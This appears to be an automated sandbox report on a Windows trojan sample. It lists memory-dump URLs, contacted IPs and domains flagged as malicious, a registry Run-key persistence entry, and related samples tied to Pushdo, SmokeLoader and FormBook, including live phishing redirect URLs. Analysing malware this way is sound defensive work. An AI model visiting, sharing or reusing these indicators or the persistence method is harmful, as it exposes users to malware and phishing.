http://baijaku.com/instruments-detail/b-bacchus_twenty-four_alder05_fodera_circuit%20.html	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.elpro.si/wp-content/plugins/woocommerce/assets/js/frontend/order-attribution.min.js?ver=9	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.zdruzenje-manager.si/sl/o-zdruzenju/o-zdruzenju/	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://baijaku.com/instruments-detail/b-fender_precision_bass71_nt-m-jj.html	yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.stnic.co.uk/?s=	yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
122.128.109.107	www.vitaindu.com	Hong Kong	133380	LAYER-ASLayerstackLimitedHK	true
183.90.183.73	www.ex-olive.com	Japan	37907	DIGIROCKDigiRockIncJP	true
185.205.70.128	mail.protonmail.ch	unknown	205822	DEVINOTELECOM-ASRU	true
154.53.43.150	www.yocinc.org	United States	174	COGENT-174US	true
192.124.249.10	evcpa.com	United States	30148	SUCURI-SECUS	true
213.165.251.217	www.stnic.co.uk	United Kingdom	31667	FRESHACCESS-ASGB	true
96.91.204.114	www.wnsavoy.com	United States	7922	COMCAST-7922US	true
59.106.19.204	baijaku.com	Japan	9370	SAKURA-BSAKURAInternetIncJP	true
198.185.159.144	ext-sq.squarespace.com	United States	53831	SQUARESPACEUS	true
217.79.184.35	www.tyrns.com	Germany	24961	MYLOC-ASIPBackboneofmyLocmanagedITAGDE	true
62.122.190.121	www.credo.edu.pl	unknown	49120	GORSET-ASRU	true
172.67.173.200	www.vexcom.com	United States	13335	CLOUDFLARENETUS	true
195.78.66.65	www.photo4b.com	Poland	41079	SUPERHOST-PL-ASPL	true
135.181.73.98	www.t-tre.com	Germany	24940	HETZNER-ASDE	true
69.163.239.62	sjbs.org	United States	26347	DREAMHOST-ASUS	true
104.26.3.124	www.kernsafe.com	United States	13335	CLOUDFLARENETUS	true
66.226.70.66	mail.airmail.net	United States	30447	INFB2-ASUS	true
13.248.169.48	www.findbc.com	United States	16509	AMAZON-02US	true
87.248.97.31	smtp.aol.g03.yahoodns.net	United Kingdom	34010	YAHOO-IRDGB	true
217.19.237.54	www.speelhal.net	Belgium	34762	COMBELL-ASBE	true
108.167.164.216	aevga.com	United States	46606	UNIFIEDLAYER-AS-1US	true
208.109.214.162	pwd.org	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
5.196.166.214	www.spanesi.com	France	16276	OVHFR	true
103.224.182.253	www.railbook.net	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
185.15.129.58	item-pr.com	France	30889	WAYCOM-ASWaycomInternational-EuropeanNetworkFR	true
202.254.236.40	www.naoi-a.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
107.180.98.101	2print.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
51.79.51.72	www.holleman.us	Canada	16276	OVHFR	true
173.254.28.29	pb-games.com	United States	46606	UNIFIEDLAYER-AS-1US	true
170.82.174.30	www.mqs.com.br.cdn.gocache.net	Brazil	266444	3LCLOUDINTERNETSERVICESLTDA-EPPBR	true
188.165.133.163	xaicom.es	France	16276	OVHFR	true
81.2.194.241	www.edimart.hu	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	true
18.245.31.21	d2r2uj0bnofxxz.cloudfront.net	United States	16509	AMAZON-02US	true
64.125.133.18	reglera.com	United States	393631	DLSS-CA-EMERYVILLE-ASUS	true
147.154.0.23	hibu34.inregion.waas.oci.oraclecloud.net	United States	31898	ORACLE-BMC-31898US	true
198.100.146.220	www.usadig.com	Canada	16276	OVHFR	true
188.114.97.3	www.tc17.com	European Union	13335	CLOUDFLARENETUS	true
93.187.206.66	www.yoruksut.com	Turkey	43391	NETDIREKT-ASTR	true
185.53.177.50	www.x0c.com	Germany	61969	TEAMINTERNET-ASDE	true
104.26.15.53	www.elpro.si	United States	13335	CLOUDFLARENETUS	true
80.74.154.6	studyrussian.com	Switzerland	21069	ASN-METANETRoutingpeeringissuesnocmetanetchCH	true
157.112.176.4	www.11tochi.net	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
104.26.10.81	www.com-sit.com	United States	13335	CLOUDFLARENETUS	true
147.154.3.56	unknown	United States	31898	ORACLE-BMC-31898US	true
142.250.186.147	ghs.googlehosted.com	United States	15169	GOOGLEUS	false
104.21.23.9	www.jenco.co.uk	United States	13335	CLOUDFLARENETUS	true
60.43.154.138	ora.ecnet.jp	Japan	4713	OCNNTTCommunicationsCorporationJP	true
104.196.26.65	www.cel-cpa.com	United States	15169	GOOGLEUS	false
34.218.204.173	www.vazir.se	United States	16509	AMAZON-02US	true
54.161.222.85	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	true
211.1.226.67	www.ka-mo-me.com	Japan	7671	MCNETNTTSmartConnectCorporationJP	true
157.112.182.239	www.sclover3.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
35.164.78.200	www.koz1.net	United States	16509	AMAZON-02US	true
137.118.26.67	fnw.us	United States	6250	NEONOVA-NETUS	true
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	true
103.224.182.241	www.pupi.cz	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	true
104.218.10.254	pohlfood.com	United States	55293	A2HOSTINGUS	true
13.248.252.114	www.medisa.info	United States	16509	AMAZON-02US	true
188.166.152.188	www.c9dd.com	Netherlands	14061	DIGITALOCEAN-ASNUS	true
89.161.163.246	abart.pl	Poland	12824	HOMEPL-ASPL	true
192.252.154.18	www.abdg.com	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	true
69.163.182.181	www.jchysk.com	United States	26347	DREAMHOST-ASUS	true
74.208.236.101	www.myropcb.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
70.39.251.249	quadlock.com	United States	54641	INMOTI-1US	true
104.26.7.221	www.valdal.com	United States	13335	CLOUDFLARENETUS	true
142.251.168.27	gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
34.149.87.45	td-ccm-neg-87-45.wixdns.net	United States	2686	ATGS-MMD-ASUS	true
46.242.238.60	waldi.pl	Poland	12824	HOMEPL-ASPL	true
116.211.150.37	731a7d09.cname.cpolar.cn	China	58563	CHINATELECOM-HUBEI-IDCCHINANETHubeiprovincenetworkCN	true
213.186.33.40	www.ora-ito.com	France	16276	OVHFR	true
75.119.202.130	www.fink.com	United States	26347	DREAMHOST-ASUS	true
5.189.128.121	maktraxx.com	Germany	51167	CONTABODE	true
104.21.88.198	www.tvtools.fi	United States	13335	CLOUDFLARENETUS	true
85.131.197.10	www.stajum.com	Germany	34309	LINK11Link11GmbHDE	true
66.218.88.163	smtp1.sbc.mail.am0.yahoodns.net	United States	26101	YAHOO-3US	true
3.94.41.167	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com	United States	14618	AMAZON-AESUS	true
66.218.88.167	smtp.mail.global.gm0.yahoodns.net	United States	26101	YAHOO-3US	true
192.124.249.20	dgmna.com	United States	30148	SUCURI-SECUS	true
104.21.66.46	www.pcgrate.com	United States	13335	CLOUDFLARENETUS	true
74.125.133.27	unknown	United States	15169	GOOGLEUS	false
3.19.116.195	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com	United States	16509	AMAZON-02US	true
141.193.213.11	wp.wpenginepowered.com	United States	396845	DV-PRIMARY-ASN1US	true
80.93.82.33	www.olras.com	France	21409	IKOULAFR	true
139.59.171.124	nunomira.com	Singapore	14061	DIGITALOCEAN-ASNUS	true
185.80.51.179	hummer.hu	Hungary	62214	RACKFOREST-ASHU	true
3.65.101.129	www.fe-bauer.de	United States	16509	AMAZON-02US	true
193.166.255.171	synetik.net	Finland	1741	FUNETASFI	true
144.76.24.9	lrsuk.com	Germany	24940	HETZNER-ASDE	true
188.114.96.3	www.fcwcvt.org	European Union	13335	CLOUDFLARENETUS	true
165.22.45.169	crcsi.org	United States	14061	DIGITALOCEAN-ASNUS	true
96.127.180.42	www.jacomfg.com	United States	32475	SINGLEHOP-LLCUS	true
118.27.125.181	www.pr-park.com	Japan	7506	INTERQGMOInternetIncJP	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541957
Start date and time:	2024-10-25 11:16:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	yGktPvplJn.exe renamed because original name is a hash value
Original Sample Name:	d9c7beeacdac2aae5d8c675556bfaae9.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@19/4@142/92
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 10 Number of non-executed functions: 42
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 104.21.63.28, 172.67.142.169, 204.79.197.212
Excluded domains from analysis (whitelisted): www.ottospm.com.cdn.cloudflare.net, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, a-0010.a-msedge.net, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Reached maximum number of 1000 Suricata alerts, please consult the 'Suricata Logs'
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: yGktPvplJn.exe

Simulations

Behavior and APIs

Time	Type	Description
05:18:04	API Interceptor	3x Sleep call for process: yGktPvplJn.exe modified
05:18:34	API Interceptor	4x Sleep call for process: pigalicapi.exe modified
11:17:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
11:17:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
122.128.109.107	a5hbkmGD7N.exe	Get hash	malicious	Pushdo	Browse	www.vitaindu.com/
185.205.70.128	BWV4hz5GdR.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse
	PIyT9A3jfC.exe	Get hash	malicious	Pushdo	Browse
	1EsDtA4mep.exe	Get hash	malicious	Pushdo	Browse
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse
	h9Gwq0fYVO.exe	Get hash	malicious	Pushdo, SmokeLoader	Browse
	0fmEh2zmDj.exe	Get hash	malicious	Pushdo	Browse
	TLURH6Og6c.exe	Get hash	malicious	Pushdo	Browse
192.124.249.10	a5hbkmGD7N.exe	Get hash	malicious	Pushdo	Browse	www.evcpa.com/
	G7DyaA9iz9.exe	Get hash	malicious	Pushdo	Browse	www.evcpa.com/
	eQcKjYOV30.exe	Get hash	malicious	Pushdo	Browse	www.evcpa.com/
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	www.evcpa.com/
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	www.evcpa.com/
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	www.evcpa.com/
	file.exe	Get hash	malicious	Pushdo, SmokeLoader	Browse	www.evcpa.com/
	file.exe	Get hash	malicious	Pushdo, SmokeLoader	Browse	www.evcpa.com/
	0fmEh2zmDj.exe	Get hash	malicious	Pushdo	Browse	www.evcpa.com/
	payment receipt.exe	Get hash	malicious	FormBook	Browse	www.wildgraceyogahealing.com/yrcy/?FP=aNoybvFmqZUC/o9foeV/uDsREUG5h6t5y6pMj4dsr1EZy+KYbhDQzC52lwVhCCB/BzIh&4hLtkP=h8SpL

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.tvtools.fi	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, LummaC Stealer, RedLine, SmokeLoader	Browse	104.21.88.198
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, LummaC Stealer, RedLine, SmokeLoader	Browse	104.21.88.198
	kZBCT8RfG4.exe	Get hash	malicious	DanaBot, Djvu, Fabookie, RHADAMANTHYS, RedLine, SmokeLoader	Browse	104.21.88.198
	rLDmqbpt5D.exe	Get hash	malicious	Pushdo, DanaBot, RedLine, SmokeLoader	Browse	172.67.152.159
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	104.21.88.198
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	104.21.88.198
	file.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	172.67.152.159
	GyTbKONlyq.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	104.21.88.198
	eQcKjYOV30.exe	Get hash	malicious	Pushdo	Browse	172.67.152.159
	file.exe	Get hash	malicious	Pushdo, SmokeLoader	Browse	172.67.152.159
www.fcwcvt.org	OWd39WUX3D.exe	Get hash	malicious	Pushdo	Browse	104.21.25.200
	CX17SY6xF6.exe	Get hash	malicious	Pushdo	Browse	188.114.96.7
	PIyT9A3jfC.exe	Get hash	malicious	Pushdo	Browse	188.114.97.7
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, LummaC Stealer, RedLine, SmokeLoader	Browse	188.114.96.7
	file.exe	Get hash	malicious	Amadey, Djvu, Fabookie, LummaC Stealer, RedLine, SmokeLoader	Browse	188.114.97.7
	nhVJ8J5qOt.exe	Get hash	malicious	Pushdo	Browse	188.114.96.7
	fs7AQcREFX.exe	Get hash	malicious	Pushdo	Browse	188.114.96.7
	6gjnnBAbpc.exe	Get hash	malicious	Pushdo	Browse	188.114.96.3
	iJzpyjAehB.exe	Get hash	malicious	Pushdo	Browse	188.114.96.3
	EksRd2mRLH.exe	Get hash	malicious	Pushdo, DanaBot, SmokeLoader	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIGIROCKDigiRockIncJP	https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org	Get hash	malicious	HTMLPhisher	Browse	202.172.26.4
	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	202.172.28.128
	appdrivesound.exe	Get hash	malicious	SystemBC	Browse	202.172.28.128
	Document TOP19928.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	https://pikara-campaign.com/st-manager/click/track?id=300&type=classic&url=https://melaminafatima.com/antibot%23Aminor%2Bccfi.com&source_url=https%3A%2F%2Fpikara-campaign.com%2Fnext%2F&source_title=%E3%83%94%E3%82%AB%E3%83%A9%E5%85%89%E3%81%AD%E3%81%A3%E3%81%A8%20%E3%81%8A%E3%81%99%E3%81%99%E3%82%81%20%E4%BB%A3%E7%90%86%E5%BA%97%E3%80%8C%E6%A0%AA%E5%BC%8F%E4%BC%9A%E7%A4%BENEXT%E3%80%8D%E3%81%AE%E3%82%AD%E3%83%A3%E3%83%83%E3%82%B7%E3%83%A5%E3%83%90%E3%83%83%E3%82%AF%E3%82%AD%E3%83%A3%E3%83%B3%E3%83%9A%E3%83%BC%E3%83%B3%EF%BC%BB%E6%9C%80%E6%96%B0%E6%83%85%E5%A0%B1%3A%202024%E5%B9%B46%E6%9C%883%E6%97%A5%28%E6%9C%88%29%EF%BC%BD	Get hash	malicious	HTMLPhisher	Browse	183.90.181.102
	scanned file.exe	Get hash	malicious	FormBook	Browse	202.172.25.9
	wOoESPII08.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	opp46lGmxd.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
	mzrHGroQZy.hta	Get hash	malicious	FormBook	Browse	202.172.28.202
	j5Gx6UXYOm.exe	Get hash	malicious	FormBook	Browse	202.172.28.202
LAYER-ASLayerstackLimitedHK	qeekk7ISVq.elf	Get hash	malicious	Unknown	Browse	43.228.124.184
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.co.nz%2Furl%3Fq=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh%26rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT%26sa=t%26url=amp%252F%2571%2575%2561%256E%2567%256F%2574%252E%2576%256E%252F%2573%2569%2574%2565%256D%2561%2570%2573%252F%23bGhvbHRAY2NmaS5jb20=/1/0100019291a6e48e-5595a4a1-ce31-4dec-b860-4acc284ec053-000000/S6t-HdiDQZ4sLxFHn70OV3ZlAjs=396	Get hash	malicious	HTMLPhisher	Browse	103.15.222.22
	https://tk.tiktokli.cc/	Get hash	malicious	Unknown	Browse	43.228.125.114
	https://www.tiktoksk.top/	Get hash	malicious	Unknown	Browse	43.228.125.115
	https://www.vtiktok.cc/	Get hash	malicious	Unknown	Browse	122.128.109.13
	http://www.vitiktok.cc/	Get hash	malicious	Unknown	Browse	122.128.109.13
	SecuriteInfo.com.Win64.MalwareX-gen.21442.4076.exe	Get hash	malicious	Unknown	Browse	103.251.113.36
	SecuriteInfo.com.Win64.MalwareX-gen.21442.4076.exe	Get hash	malicious	Unknown	Browse	103.251.113.36
	SecuriteInfo.com.Trojan.GenericKD.73873010.20504.26058.exe	Get hash	malicious	Unknown	Browse	43.228.126.4
